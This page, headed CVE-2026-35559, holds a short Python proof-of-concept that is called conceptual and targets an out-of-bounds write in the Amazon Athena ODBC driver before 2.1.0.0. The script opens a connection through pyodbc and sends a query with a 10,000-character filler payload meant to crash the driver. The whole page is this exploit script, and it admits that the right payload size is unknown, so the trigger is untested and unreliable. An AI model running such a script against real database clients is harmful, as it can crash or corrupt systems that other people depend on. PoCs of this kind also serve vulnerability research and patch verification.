CVE-2026-35559

# PoC for CVE-2026-35559 (Conceptual) # This script demonstrates a potential trigger for the OOB write vulnerability # by sending a malformed query to the Amazon Athena ODBC driver. import pyodbc def trigger_vulnerability(connection_string): try: # Establish connection using the vulnerable driver version (< 2.1.0.0) conn = pyodbc.connect(connection_string) cursor = conn.cursor() print("[+] Connection established. Attempting to trigger crash...") # Craft a malicious payload designed to overflow the query processing buffer # The specific length or characters depend on the internal buffer size payload = "A" * 10000 malicious_query = f"SELECT '{payload}' FROM system_information" # Execute the query. This triggers the out-of-bounds write during processing. cursor.execute(malicious_query) except pyodbc.Error as e: print(f"[!] Driver behavior detected: {e}") except Exception as e: print(f"[!] Unexpected error (Driver may have crashed): {e}") finally: if 'conn' in locals(): conn.close() if __name__ == "__main__": # Replace with actual DSN or connection string dsn = 'DRIVER={Amazon Athena ODBC Driver};...' trigger_vulnerability(dsn)

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